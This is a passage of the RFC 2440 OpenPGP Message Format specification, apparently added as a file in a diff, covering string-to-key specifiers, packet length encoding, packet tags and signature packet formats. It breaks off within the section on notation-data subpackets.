+ + + 5. The receiving software keeps a copy of the message signature. + + 6. The receiving software generates a new hash code for the + received message and verifies it using the message's signature. + If the verification is successful, the message is accepted as + authentic. + +2.3. Compression + + OpenPGP implementations MAY compress the message after applying the + signature but before encryption. + +2.4. Conversion to Radix-64 + + OpenPGP's underlying native representation for encrypted messages, + signature certificates, and keys is a stream of arbitrary octets. + Some systems only permit the use of blocks consisting of seven-bit, + printable text. For transporting OpenPGP's native raw binary octets + through channels that are not safe to raw binary data, a printable + encoding of these binary octets is needed. OpenPGP provides the + service of converting the raw 8-bit binary octet stream to a stream + of printable ASCII characters, called Radix-64 encoding or ASCII + Armor. + + Implementations SHOULD provide Radix-64 conversions. + + Note that many applications, particularly messaging applications, + will want more advanced features as described in the OpenPGP-MIME + document, RFC 2015. An application that implements OpenPGP for + messaging SHOULD implement OpenPGP-MIME. + +2.5. Signature-Only Applications + + OpenPGP is designed for applications that use both encryption and + signatures, but there are a number of problems that are solved by a + signature-only implementation. Although this specification requires + both encryption and signatures, it is reasonable for there to be + subset implementations that are non-comformant only in that they omit + encryption. + +3. Data Element Formats + + This section describes the data elements used by OpenPGP. + + + + + + + + +Callas, et. al. Standards Track [Page 7] + +RFC 2440 OpenPGP Message Format November 1998 + + +3.1. Scalar numbers + + Scalar numbers are unsigned, and are always stored in big-endian + format. Using n[k] to refer to the kth octet being interpreted, the + value of a two-octet scalar is ((n[0] << 8) + n[1]). The value of a + four-octet scalar is ((n[0] << 24) + (n[1] << 16) + (n[2] << 8) + + n[3]). + +3.2. Multi-Precision Integers + + Multi-Precision Integers (also called MPIs) are unsigned integers + used to hold large integers such as the ones used in cryptographic + calculations. + + An MPI consists of two pieces: a two-octet scalar that is the length + of the MPI in bits followed by a string of octets that contain the + actual integer. + + These octets form a big-endian number; a big-endian number can be + made into an MPI by prefixing it with the appropriate length. + + Examples: + + (all numbers are in hexadecimal) + + The string of octets [00 01 01] forms an MPI with the value 1. The + string [00 09 01 FF] forms an MPI with the value of 511. + + Additional rules: + + The size of an MPI is ((MPI.length + 7) / 8) + 2 octets. + + The length field of an MPI describes the length starting from its + most significant non-zero bit. Thus, the MPI [00 02 01] is not formed + correctly. It should be [00 01 01]. + +3.3. Key IDs + + A Key ID is an eight-octet scalar that identifies a key. + Implementations SHOULD NOT assume that Key IDs are unique. The + section, "Enhanced Key Formats" below describes how Key IDs are + formed. + +3.4. Text + + The default character set for text is the UTF-8 [RFC2279] encoding of + Unicode [ISO10646]. + + + + +Callas, et. al. Standards Track [Page 8] + +RFC 2440 OpenPGP Message Format November 1998 + + +3.5. Time fields + + A time field is an unsigned four-octet number containing the number + of seconds elapsed since midnight, 1 January 1970 UTC. + +3.6. String-to-key (S2K) specifiers + + String-to-key (S2K) specifiers are used to convert passphrase strings + into symmetric-key encryption/decryption keys. They are used in two + places, currently: to encrypt the secret part of private keys in the + private keyring, and to convert passphrases to encryption keys for + symmetrically encrypted messages. + +3.6.1. String-to-key (S2k) specifier types + + There are three types of S2K specifiers currently supported, as + follows: + +3.6.1.1. Simple S2K + + This directly hashes the string to produce the key data. See below + for how this hashing is done. + + Octet 0: 0x00 + Octet 1: hash algorithm + + Simple S2K hashes the passphrase to produce the session key. The + manner in which this is done depends on the size of the session key + (which will depend on the cipher used) and the size of the hash + algorithm's output. If the hash size is greater than or equal to the + session key size, the high-order (leftmost) octets of the hash are + used as the key. + + If the hash size is less than the key size, multiple instances of the + hash context are created -- enough to produce the required key data. + These instances are preloaded with 0, 1, 2, ... octets of zeros (that + is to say, the first instance has no preloading, the second gets + preloaded with 1 octet of zero, the third is preloaded with two + octets of zeros, and so forth). + + As the data is hashed, it is given independently to each hash + context. Since the contexts have been initialized differently, they + will each produce different hash output. Once the passphrase is + hashed, the output data from the multiple hashes is concatenated, + first hash leftmost, to produce the key data, with any excess octets + on the right discarded. + + + + + +Callas, et. al. Standards Track [Page 9] + +RFC 2440 OpenPGP Message Format November 1998 + + +3.6.1.2. Salted S2K + + This includes a "salt" value in the S2K specifier -- some arbitrary + data -- that gets hashed along with the passphrase string, to help + prevent dictionary attacks. + + Octet 0: 0x01 + Octet 1: hash algorithm + Octets 2-9: 8-octet salt value + + Salted S2K is exactly like Simple S2K, except that the input to the + hash function(s) consists of the 8 octets of salt from the S2K + specifier, followed by the passphrase. + +3.6.1.3. Iterated and Salted S2K + + This includes both a salt and an octet count. The salt is combined + with the passphrase and the resulting value is hashed repeatedly. + This further increases the amount of work an attacker must do to try + dictionary attacks. + + Octet 0: 0x03 + Octet 1: hash algorithm + Octets 2-9: 8-octet salt value + Octet 10: count, a one-octet, coded value + + The count is coded into a one-octet number using the following + formula: + + #define EXPBIAS 6 + count = ((Int32)16 + (c & 15)) << ((c >> 4) + EXPBIAS); + + The above formula is in C, where "Int32" is a type for a 32-bit + integer, and the variable "c" is the coded count, Octet 10. + + Iterated-Salted S2K hashes the passphrase and salt data multiple + times. The total number of octets to be hashed is specified in the + encoded count in the S2K specifier. Note that the resulting count + value is an octet count of how many octets will be hashed, not an + iteration count. + + Initially, one or more hash contexts are set up as with the other S2K + algorithms, depending on how many octets of key data are needed. + Then the salt, followed by the passphrase data is repeatedly hashed + until the number of octets specified by the octet count has been + hashed. The one exception is that if the octet count is less than + the size of the salt plus passphrase, the full salt plus passphrase + will be hashed even though that is greater than the octet count. + + + +Callas, et. al. Standards Track [Page 10] + +RFC 2440 OpenPGP Message Format November 1998 + + + After the hashing is done the data is unloaded from the hash + context(s) as with the other S2K algorithms. + +3.6.2. String-to-key usage + + Implementations SHOULD use salted or iterated-and-salted S2K + specifiers, as simple S2K specifiers are more vulnerable to + dictionary attacks. + +3.6.2.1. Secret key encryption + + An S2K specifier can be stored in the secret keyring to specify how + to convert the passphrase to a key that unlocks the secret data. + Older versions of PGP just stored a cipher algorithm octet preceding + the secret data or a zero to indicate that the secret data was + unencrypted. The MD5 hash function was always used to convert the + passphrase to a key for the specified cipher algorithm. + + For compatibility, when an S2K specifier is used, the special value + 255 is stored in the position where the hash algorithm octet would + have been in the old data structure. This is then followed + immediately by a one-octet algorithm identifier, and then by the S2K + specifier as encoded above. + + Therefore, preceding the secret data there will be one of these + possibilities: + + 0: secret data is unencrypted (no pass phrase) + 255: followed by algorithm octet and S2K specifier + Cipher alg: use Simple S2K algorithm using MD5 hash + + This last possibility, the cipher algorithm number with an implicit + use of MD5 and IDEA, is provided for backward compatibility; it MAY + be understood, but SHOULD NOT be generated, and is deprecated. + + These are followed by an 8-octet Initial Vector for the decryption of + the secret values, if they are encrypted, and then the secret key + values themselves. + +3.6.2.2. Symmetric-key message encryption + + OpenPGP can create a Symmetric-key Encrypted Session Key (ESK) packet + at the front of a message. This is used to allow S2K specifiers to + be used for the passphrase conversion or to create messages with a + mix of symmetric-key ESKs and public-key ESKs. This allows a message + to be decrypted either with a passphrase or a public key. + + + + + +Callas, et. al. Standards Track [Page 11] + +RFC 2440 OpenPGP Message Format November 1998 + + + PGP 2.X always used IDEA with Simple string-to-key conversion when + encrypting a message with a symmetric algorithm. This is deprecated, + but MAY be used for backward-compatibility. + +4. Packet Syntax + + This section describes the packets used by OpenPGP. + +4.1. Overview + + An OpenPGP message is constructed from a number of records that are + traditionally called packets. A packet is a chunk of data that has a + tag specifying its meaning. An OpenPGP message, keyring, certificate, + and so forth consists of a number of packets. Some of those packets + may contain other OpenPGP packets (for example, a compressed data + packet, when uncompressed, contains OpenPGP packets). + + Each packet consists of a packet header, followed by the packet body. + The packet header is of variable length. + +4.2. Packet Headers + + The first octet of the packet header is called the "Packet Tag." It + determines the format of the header and denotes the packet contents. + The remainder of the packet header is the length of the packet. + + Note that the most significant bit is the left-most bit, called bit + 7. A mask for this bit is 0x80 in hexadecimal. + + +---------------+ + PTag |7 6 5 4 3 2 1 0| + +---------------+ + Bit 7 -- Always one + Bit 6 -- New packet format if set + + PGP 2.6.x only uses old format packets. Thus, software that + interoperates with those versions of PGP must only use old format + packets. If interoperability is not an issue, either format may be + used. Note that old format packets have four bits of content tags, + and new format packets have six; some features cannot be used and + still be backward-compatible. + + Old format packets contain: + + Bits 5-2 -- content tag + Bits 1-0 - length-type + + + + + +Callas, et. al. Standards Track [Page 12] + +RFC 2440 OpenPGP Message Format November 1998 + + + New format packets contain: + + Bits 5-0 -- content tag + +4.2.1. Old-Format Packet Lengths + + The meaning of the length-type in old-format packets is: + + 0 - The packet has a one-octet length. The header is 2 octets long. + + 1 - The packet has a two-octet length. The header is 3 octets long. + + 2 - The packet has a four-octet length. The header is 5 octets long. + + 3 - The packet is of indeterminate length. The header is 1 octet + long, and the implementation must determine how long the packet + is. If the packet is in a file, this means that the packet + extends until the end of the file. In general, an implementation + SHOULD NOT use indeterminate length packets except where the end + of the data will be clear from the context, and even then it is + better to use a definite length, or a new-format header. The + new-format headers described below have a mechanism for precisely + encoding data of indeterminate length. + +4.2.2. New-Format Packet Lengths + + New format packets have four possible ways of encoding length: + + 1. A one-octet Body Length header encodes packet lengths of up to + 191 octets. + + 2. A two-octet Body Length header encodes packet lengths of 192 to + 8383 octets. + + 3. A five-octet Body Length header encodes packet lengths of up to + 4,294,967,295 (0xFFFFFFFF) octets in length. (This actually + encodes a four-octet scalar number.) + + 4. When the length of the packet body is not known in advance by the + issuer, Partial Body Length headers encode a packet of + indeterminate length, effectively making it a stream. + + + + + + + + + + +Callas, et. al. Standards Track [Page 13] + +RFC 2440 OpenPGP Message Format November 1998 + + +4.2.2.1. One-Octet Lengths + + A one-octet Body Length header encodes a length of from 0 to 191 + octets. This type of length header is recognized because the one + octet value is less than 192. The body length is equal to: + + bodyLen = 1st_octet; + +4.2.2.2. Two-Octet Lengths + + A two-octet Body Length header encodes a length of from 192 to 8383 + octets. It is recognized because its first octet is in the range 192 + to 223. The body length is equal to: + + bodyLen = ((1st_octet - 192) << 8) + (2nd_octet) + 192 + +4.2.2.3. Five-Octet Lengths + + A five-octet Body Length header consists of a single octet holding + the value 255, followed by a four-octet scalar. The body length is + equal to: + + bodyLen = (2nd_octet << 24) | (3rd_octet << 16) | + (4th_octet << 8) | 5th_octet + +4.2.2.4. Partial Body Lengths + + A Partial Body Length header is one octet long and encodes the length + of only part of the data packet. This length is a power of 2, from 1 + to 1,073,741,824 (2 to the 30th power). It is recognized by its one + octet value that is greater than or equal to 224, and less than 255. + The partial body length is equal to: + + partialBodyLen = 1 << (1st_octet & 0x1f); + + Each Partial Body Length header is followed by a portion of the + packet body data. The Partial Body Length header specifies this + portion's length. Another length header (of one of the three types -- + one octet, two-octet, or partial) follows that portion. The last + length header in the packet MUST NOT be a partial Body Length header. + Partial Body Length headers may only be used for the non-final parts + of the packet. + +4.2.3. Packet Length Examples + + These examples show ways that new-format packets might encode the + packet lengths. + + + + +Callas, et. al. Standards Track [Page 14] + +RFC 2440 OpenPGP Message Format November 1998 + + + A packet with length 100 may have its length encoded in one octet: + 0x64. This is followed by 100 octets of data. + + A packet with length 1723 may have its length coded in two octets: + 0xC5, 0xFB. This header is followed by the 1723 octets of data. + + A packet with length 100000 may have its length encoded in five + octets: 0xFF, 0x00, 0x01, 0x86, 0xA0. + + It might also be encoded in the following octet stream: 0xEF, first + 32768 octets of data; 0xE1, next two octets of data; 0xE0, next one + octet of data; 0xF0, next 65536 octets of data; 0xC5, 0xDD, last 1693 + octets of data. This is just one possible encoding, and many + variations are possible on the size of the Partial Body Length + headers, as long as a regular Body Length header encodes the last + portion of the data. Note also that the last Body Length header can + be a zero-length header. + + An implementation MAY use Partial Body Lengths for data packets, be + they literal, compressed, or encrypted. The first partial length MUST + be at least 512 octets long. Partial Body Lengths MUST NOT be used + for any other packet types. + + Please note that in all of these explanations, the total length of + the packet is the length of the header(s) plus the length of the + body. + +4.3. Packet Tags + + The packet tag denotes what type of packet the body holds. Note that + old format headers can only have tags less than 16, whereas new + format headers can have tags as great as 63. The defined tags (in + decimal) are: + + 0 -- Reserved - a packet tag must not have this value + 1 -- Public-Key Encrypted Session Key Packet + 2 -- Signature Packet + 3 -- Symmetric-Key Encrypted Session Key Packet + 4 -- One-Pass Signature Packet + 5 -- Secret Key Packet + 6 -- Public Key Packet + 7 -- Secret Subkey Packet + 8 -- Compressed Data Packet + 9 -- Symmetrically Encrypted Data Packet + 10 -- Marker Packet + 11 -- Literal Data Packet + 12 -- Trust Packet + + + + +Callas, et. al. Standards Track [Page 15] + +RFC 2440 OpenPGP Message Format November 1998 + + + 13 -- User ID Packet + 14 -- Public Subkey Packet + 60 to 63 -- Private or Experimental Values + +5. Packet Types + +5.1. Public-Key Encrypted Session Key Packets (Tag 1) + + A Public-Key Encrypted Session Key packet holds the session key used + to encrypt a message. Zero or more Encrypted Session Key packets + (either Public-Key or Symmetric-Key) may precede a Symmetrically + Encrypted Data Packet, which holds an encrypted message. The message + is encrypted with the session key, and the session key is itself + encrypted and stored in the Encrypted Session Key packet(s). The + Symmetrically Encrypted Data Packet is preceded by one Public-Key + Encrypted Session Key packet for each OpenPGP key to which the + message is encrypted. The recipient of the message finds a session + key that is encrypted to their public key, decrypts the session key, + and then uses the session key to decrypt the message. + + The body of this packet consists of: + + - A one-octet number giving the version number of the packet type. + The currently defined value for packet version is 3. An + implementation should accept, but not generate a version of 2, + which is equivalent to V3 in all other respects. + + - An eight-octet number that gives the key ID of the public key + that the session key is encrypted to. + + - A one-octet number giving the public key algorithm used. + + - A string of octets that is the encrypted session key. This string + takes up the remainder of the packet, and its contents are + dependent on the public key algorithm used. + + Algorithm Specific Fields for RSA encryption + + - multiprecision integer (MPI) of RSA encrypted value m**e mod n. + + Algorithm Specific Fields for Elgamal encryption: + + - MPI of Elgamal (Diffie-Hellman) value g**k mod p. + + - MPI of Elgamal (Diffie-Hellman) value m * y**k mod p. + + + + + + +Callas, et. al. Standards Track [Page 16] + +RFC 2440 OpenPGP Message Format November 1998 + + + The value "m" in the above formulas is derived from the session key + as follows. First the session key is prefixed with a one-octet + algorithm identifier that specifies the symmetric encryption + algorithm used to encrypt the following Symmetrically Encrypted Data + Packet. Then a two-octet checksum is appended which is equal to the + sum of the preceding session key octets, not including the algorithm + identifier, modulo 65536. This value is then padded as described in + PKCS-1 block type 02 [RFC2313] to form the "m" value used in the + formulas above. + + Note that when an implementation forms several PKESKs with one + session key, forming a message that can be decrypted by several keys, + the implementation MUST make new PKCS-1 padding for each key. + + An implementation MAY accept or use a Key ID of zero as a "wild card" + or "speculative" Key ID. In this case, the receiving implementation + would try all available private keys, checking for a valid decrypted + session key. This format helps reduce traffic analysis of messages. + +5.2. Signature Packet (Tag 2) + + A signature packet describes a binding between some public key and + some data. The most common signatures are a signature of a file or a + block of text, and a signature that is a certification of a user ID. + + Two versions of signature packets are defined. Version 3 provides + basic signature information, while version 4 provides an expandable + format with subpackets that can specify more information about the + signature. PGP 2.6.x only accepts version 3 signatures. + + Implementations MUST accept V3 signatures. Implementations SHOULD + generate V4 signatures. Implementations MAY generate a V3 signature + that can be verified by PGP 2.6.x. + + Note that if an implementation is creating an encrypted and signed + message that is encrypted to a V3 key, it is reasonable to create a + V3 signature. + +5.2.1. Signature Types + + There are a number of possible meanings for a signature, which are + specified in a signature type octet in any given signature. These + meanings are: + + 0x00: Signature of a binary document. + Typically, this means the signer owns it, created it, or + certifies that it has not been modified. + + + + +Callas, et. al. Standards Track [Page 17] + +RFC 2440 OpenPGP Message Format November 1998 + + + 0x01: Signature of a canonical text document. + Typically, this means the signer owns it, created it, or + certifies that it has not been modified. The signature is + calculated over the text data with its line endings converted + to and trailing blanks removed. + + 0x02: Standalone signature. + This signature is a signature of only its own subpacket + contents. It is calculated identically to a signature over a + zero-length binary document. Note that it doesn't make sense to + have a V3 standalone signature. + + 0x10: Generic certification of a User ID and Public Key packet. + The issuer of this certification does not make any particular + assertion as to how well the certifier has checked that the + owner of the key is in fact the person described by the user + ID. Note that all PGP "key signatures" are this type of + certification. + + 0x11: Persona certification of a User ID and Public Key packet. + The issuer of this certification has not done any verification + of the claim that the owner of this key is the user ID + specified. + + 0x12: Casual certification of a User ID and Public Key packet. + The issuer of this certification has done some casual + verification of the claim of identity. + + 0x13: Positive certification of a User ID and Public Key packet. + The issuer of this certification has done substantial + verification of the claim of identity. + + Please note that the vagueness of these certification claims is + not a flaw, but a feature of the system. Because PGP places + final authority for validity upon the receiver of a + certification, it may be that one authority's casual + certification might be more rigorous than some other + authority's positive certification. These classifications allow + a certification authority to issue fine-grained claims. + + 0x18: Subkey Binding Signature + This signature is a statement by the top-level signing key + indicates that it owns the subkey. This signature is calculated + directly on the subkey itself, not on any User ID or other + packets. + + + + + + +Callas, et. al. Standards Track [Page 18] + +RFC 2440 OpenPGP Message Format November 1998 + + + 0x1F: Signature directly on a key + This signature is calculated directly on a key. It binds the + information in the signature subpackets to the key, and is + appropriate to be used for subpackets that provide information + about the key, such as the revocation key subpacket. It is also + appropriate for statements that non-self certifiers want to + make about the key itself, rather than the binding between a + key and a name. + + 0x20: Key revocation signature + The signature is calculated directly on the key being revoked. + A revoked key is not to be used. Only revocation signatures by + the key being revoked, or by an authorized revocation key, + should be considered valid revocation signatures. + + 0x28: Subkey revocation signature + The signature is calculated directly on the subkey being + revoked. A revoked subkey is not to be used. Only revocation + signatures by the top-level signature key that is bound to this + subkey, or by an authorized revocation key, should be + considered valid revocation signatures. + + 0x30: Certification revocation signature + This signature revokes an earlier user ID certification + signature (signature class 0x10 through 0x13). It should be + issued by the same key that issued the revoked signature or an + authorized revocation key The signature should have a later + creation date than the signature it revokes. + + 0x40: Timestamp signature. + This signature is only meaningful for the timestamp contained + in it. + +5.2.2. Version 3 Signature Packet Format + + The body of a version 3 Signature Packet contains: + + - One-octet version number (3). + + - One-octet length of following hashed material. MUST be 5. + + - One-octet signature type. + + - Four-octet creation time. + + - Eight-octet key ID of signer. + + - One-octet public key algorithm. + + + +Callas, et. al. Standards Track [Page 19] + +RFC 2440 OpenPGP Message Format November 1998 + + + - One-octet hash algorithm. + + - Two-octet field holding left 16 bits of signed hash value. + + - One or more multi-precision integers comprising the signature. + This portion is algorithm specific, as described below. + + The data being signed is hashed, and then the signature type and + creation time from the signature packet are hashed (5 additional + octets). The resulting hash value is used in the signature + algorithm. The high 16 bits (first two octets) of the hash are + included in the signature packet to provide a quick test to reject + some invalid signatures. + + Algorithm Specific Fields for RSA signatures: + + - multiprecision integer (MPI) of RSA signature value m**d. + + Algorithm Specific Fields for DSA signatures: + + - MPI of DSA value r. + + - MPI of DSA value s. + + The signature calculation is based on a hash of the signed data, as + described above. The details of the calculation are different for + DSA signature than for RSA signatures. + + With RSA signatures, the hash value is encoded as described in PKCS-1 + section 10.1.2, "Data encoding", producing an ASN.1 value of type + DigestInfo, and then padded using PKCS-1 block type 01 [RFC2313]. + This requires inserting the hash value as an octet string into an + ASN.1 structure. The object identifier for the type of hash being + used is included in the structure. The hexadecimal representations + for the currently defined hash algorithms are: + + - MD2: 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x02 + + - MD5: 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05 + + - RIPEMD-160: 0x2B, 0x24, 0x03, 0x02, 0x01 + + - SHA-1: 0x2B, 0x0E, 0x03, 0x02, 0x1A + + + + + + + + +Callas, et. al. Standards Track [Page 20] + +RFC 2440 OpenPGP Message Format November 1998 + + + The ASN.1 OIDs are: + + - MD2: 1.2.840.113549.2.2 + + - MD5: 1.2.840.113549.2.5 + + - RIPEMD-160: 1.3.36.3.2.1 + + - SHA-1: 1.3.14.3.2.26 + + The full hash prefixes for these are: + + MD2: 0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x02, 0x05, 0x00, + 0x04, 0x10 + + MD5: 0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, + 0x04, 0x10 + + RIPEMD-160: 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x24, + 0x03, 0x02, 0x01, 0x05, 0x00, 0x04, 0x14 + + SHA-1: 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0E, + 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14 + + DSA signatures MUST use hashes with a size of 160 bits, to match q, + the size of the group generated by the DSA key's generator value. + The hash function result is treated as a 160 bit number and used + directly in the DSA signature algorithm. + +5.2.3. Version 4 Signature Packet Format + + The body of a version 4 Signature Packet contains: + + - One-octet version number (4). + + - One-octet signature type. + + - One-octet public key algorithm. + + - One-octet hash algorithm. + + - Two-octet scalar octet count for following hashed subpacket + data. Note that this is the length in octets of all of the hashed + subpackets; a pointer incremented by this number will skip over + the hashed subpackets. + + + + +Callas, et. al. Standards Track [Page 21] + +RFC 2440 OpenPGP Message Format November 1998 + + + - Hashed subpacket data. (zero or more subpackets) + + - Two-octet scalar octet count for following unhashed subpacket + data. Note that this is the length in octets of all of the + unhashed subpackets; a pointer incremented by this number will + skip over the unhashed subpackets. + + - Unhashed subpacket data. (zero or more subpackets) + + - Two-octet field holding left 16 bits of signed hash value. + + - One or more multi-precision integers comprising the signature. + This portion is algorithm specific, as described above. + + The data being signed is hashed, and then the signature data from the + version number through the hashed subpacket data (inclusive) is + hashed. The resulting hash value is what is signed. The left 16 bits + of the hash are included in the signature packet to provide a quick + test to reject some invalid signatures. + + There are two fields consisting of signature subpackets. The first + field is hashed with the rest of the signature data, while the second + is unhashed. The second set of subpackets is not cryptographically + protected by the signature and should include only advisory + information. + + The algorithms for converting the hash function result to a signature + are described in a section below. + +5.2.3.1. Signature Subpacket Specification + + The subpacket fields consist of zero or more signature subpackets. + Each set of subpackets is preceded by a two-octet scalar count of the + length of the set of subpackets. + + Each subpacket consists of a subpacket header and a body. The header + consists of: + + - the subpacket length (1, 2, or 5 octets) + + - the subpacket type (1 octet) + + and is followed by the subpacket specific data. + + The length includes the type octet but not this length. Its format is + similar to the "new" format packet header lengths, but cannot have + partial body lengths. That is: + + + + +Callas, et. al. Standards Track [Page 22] + +RFC 2440 OpenPGP Message Format November 1998 + + + if the 1st octet < 192, then + lengthOfLength = 1 + subpacketLen = 1st_octet + + if the 1st octet >= 192 and < 255, then + lengthOfLength = 2 + subpacketLen = ((1st_octet - 192) << 8) + (2nd_octet) + 192 + + if the 1st octet = 255, then + lengthOfLength = 5 + subpacket length = [four-octet scalar starting at 2nd_octet] + + The value of the subpacket type octet may be: + + 2 = signature creation time + 3 = signature expiration time + 4 = exportable certification + 5 = trust signature + 6 = regular expression + 7 = revocable + 9 = key expiration time + 10 = placeholder for backward compatibility + 11 = preferred symmetric algorithms + 12 = revocation key + 16 = issuer key ID + 20 = notation data + 21 = preferred hash algorithms + 22 = preferred compression algorithms + 23 = key server preferences + 24 = preferred key server + 25 = primary user id + 26 = policy URL + 27 = key flags + 28 = signer's user id + 29 = reason for revocation + 100 to 110 = internal or user-defined + + An implementation SHOULD ignore any subpacket of a type that it does + not recognize. + + Bit 7 of the subpacket type is the "critical" bit. If set, it + denotes that the subpacket is one that is critical for the evaluator + of the signature to recognize. If a subpacket is encountered that is + marked critical but is unknown to the evaluating software, the + evaluator SHOULD consider the signature to be in error. + + + + + + +Callas, et. al. Standards Track [Page 23] + +RFC 2440 OpenPGP Message Format November 1998 + + + An evaluator may "recognize" a subpacket, but not implement it. The + purpose of the critical bit is to allow the signer to tell an + evaluator that it would prefer a new, unknown feature to generate an + error than be ignored. + + Implementations SHOULD implement "preferences". + +5.2.3.2. Signature Subpacket Types + + A number of subpackets are currently defined. Some subpackets apply + to the signature itself and some are attributes of the key. + Subpackets that are found on a self-signature are placed on a user id + certification made by the key itself. Note that a key may have more + than one user id, and thus may have more than one self-signature, and + differing subpackets. + + A self-signature is a binding signature made by the key the signature + refers to. There are three types of self-signatures, the + certification signatures (types 0x10-0x13), the direct-key signature + (type 0x1f), and the subkey binding signature (type 0x18). For + certification self-signatures, each user ID may have a self- + signature, and thus different subpackets in those self-signatures. + For subkey binding signatures, each subkey in fact has a self- + signature. Subpackets that appear in a certification self-signature + apply to the username, and subpackets that appear in the subkey + self-signature apply to the subkey. Lastly, subpackets on the direct + key signature apply to the entire key. + + Implementing software should interpret a self-signature's preference + subpackets as narrowly as possible. For example, suppose a key has + two usernames, Alice and Bob. Suppose that Alice prefers the + symmetric algorithm CAST5, and Bob prefers IDEA or Triple-DES. If the + software locates this key via Alice's name, then the preferred + algorithm is CAST5, if software locates the key via Bob's name, then + the preferred algorithm is IDEA. If the key is located by key id, + then algorithm of the default user id of the key provides the default + symmetric algorithm. + + A subpacket may be found either in the hashed or unhashed subpacket + sections of a signature. If a subpacket is not hashed, then the + information in it cannot be considered definitive because it is not + part of the signature proper. + + + + + + + + + +Callas, et. al. Standards Track [Page 24] + +RFC 2440 OpenPGP Message Format November 1998 + + +5.2.3.3. Signature creation time + + (4 octet time field) + + The time the signature was made. + + MUST be present in the hashed area. + +5.2.3.4. Issuer + + (8 octet key ID) + + The OpenPGP key ID of the key issuing the signature. + +5.2.3.5. Key expiration time + + (4 octet time field) + + The validity period of the key. This is the number of seconds after + the key creation time that the key expires. If this is not present + or has a value of zero, the key never expires. This is found only on + a self-signature. + +5.2.3.6. Preferred symmetric algorithms + + (sequence of one-octet values) + + Symmetric algorithm numbers that indicate which algorithms the key + holder prefers to use. The subpacket body is an ordered list of + octets with the most preferred listed first. It is assumed that only + algorithms listed are supported by the recipient's software. + Algorithm numbers in section 9. This is only found on a self- + signature. + +5.2.3.7. Preferred hash algorithms + + (array of one-octet values) + + Message digest algorithm numbers that indicate which algorithms the + key holder prefers to receive. Like the preferred symmetric + algorithms, the list is ordered. Algorithm numbers are in section 6. + This is only found on a self-signature. + + + + + + + + + +Callas, et. al. Standards Track [Page 25] + +RFC 2440 OpenPGP Message Format November 1998 + + +5.2.3.8. Preferred compression algorithms + + (array of one-octet values) + + Compression algorithm numbers that indicate which algorithms the key + holder prefers to use. Like the preferred symmetric algorithms, the + list is ordered. Algorithm numbers are in section 6. If this + subpacket is not included, ZIP is preferred. A zero denotes that + uncompressed data is preferred; the key holder's software might have + no compression software in that implementation. This is only found on + a self-signature. + +5.2.3.9. Signature expiration time + + (4 octet time field) + + The validity period of the signature. This is the number of seconds + after the signature creation time that the signature expires. If this + is not present or has a value of zero, it never expires. + +5.2.3.10. Exportable Certification + + (1 octet of exportability, 0 for not, 1 for exportable) + + This subpacket denotes whether a certification signature is + "exportable", to be used by other users than the signature's issuer. + The packet body contains a boolean flag indicating whether the + signature is exportable. If this packet is not present, the + certification is exportable; it is equivalent to a flag containing a + 1. + + Non-exportable, or "local", certifications are signatures made by a + user to mark a key as valid within that user's implementation only. + Thus, when an implementation prepares a user's copy of a key for + transport to another user (this is the process of "exporting" the + key), any local certification signatures are deleted from the key. + + The receiver of a transported key "imports" it, and likewise trims + any local certifications. In normal operation, there won't be any, + assuming the import is performed on an exported key. However, there + are instances where this can reasonably happen. For example, if an + implementation allows keys to be imported from a key database in + addition to an exported key, then this situation can arise. + + Some implementations do not represent the interest of a single user + (for example, a key server). Such implementations always trim local + certifications from any key they handle. + + + + +Callas, et. al. Standards Track [Page 26] + +RFC 2440 OpenPGP Message Format November 1998 + + +5.2.3.11. Revocable + + (1 octet of revocability, 0 for not, 1 for revocable) + + Signature's revocability status. Packet body contains a boolean flag + indicating whether the signature is revocable. Signatures that are + not revocable have any later revocation signatures ignored. They + represent a commitment by the signer that he cannot revoke his + signature for the life of his key. If this packet is not present, + the signature is revocable. + +5.2.3.12. Trust signature + + (1 octet "level" (depth), 1 octet of trust amount) + + Signer asserts that the key is not only valid, but also trustworthy, + at the specified level. Level 0 has the same meaning as an ordinary + validity signature. Level 1 means that the signed key is asserted to + be a valid trusted introducer, with the 2nd octet of the body + specifying the degree of trust. Level 2 means that the signed key is + asserted to be trusted to issue level 1 trust signatures, i.e. that + it is a "meta introducer". Generally, a level n trust signature + asserts that a key is trusted to issue level n-1 trust signatures. + The trust amount is in a range from 0-255, interpreted such that + values less than 120 indicate partial trust and values of 120 or + greater indicate complete trust. Implementations SHOULD emit values + of 60 for partial trust and 120 for complete trust. + +5.2.3.13. Regular expression + + (null-terminated regular expression) + + Used in conjunction with trust signature packets (of level > 0) to + limit the scope of trust that is extended. Only signatures by the + target key on user IDs that match the regular expression in the body + of this packet have trust extended by the trust signature subpacket. + The regular expression uses the same syntax as the Henry Spencer's + "almost public domain" regular expression package. A description of + the syntax is found in a section below. + +5.2.3.14. Revocation key + + (1 octet of class, 1 octet of algid, 20 octets of fingerprint) + + Authorizes the specified key to issue revocation signatures for this + key. Class octet must have bit 0x80 set. If the bit 0x40 is set, + then this means that the revocation information is sensitive. Other + bits are for future expansion to other kinds of authorizations. This + + + +Callas, et. al. Standards Track [Page 27] + +RFC 2440 OpenPGP Message Format November 1998 + + + is found on a self-signature. + + If the "sensitive" flag is set, the keyholder feels this subpacket + contains private trust information that describes a real-world + sensitive relationship. If this flag is set, implementations SHOULD + NOT export this signature to other users except in cases where the + data needs to be available: when the signature is being sent to the + designated revoker, or when it is accompanied by a revocation + signature from that revoker. Note that it may be appropriate to + isolate this subpacket within a separate signature so that it is not + combined with other subpackets that need to be exported. + +5.2.3.15. Notation Data + + (4 octets of flags, 2 octets of name length (M), + 2 octets of value length (N), + M octets of name data, + N octets of value data) + + This subpacket describes a "notation" on the signature that the + issuer wishes to make. The notation has a name and a value, each of + which are strings of octets. There may be more than one notation in a + signature. Notations can be used for any extension the issuer of the + signature cares to make. The "flags" field holds four octets of + flags. + + All undefined flags MUST be zero. Defined flags are: + + First octet: 0x80 = human-readable. This note is text, a note + from one person to another, and has no + meaning to software. + Other octets: none. + 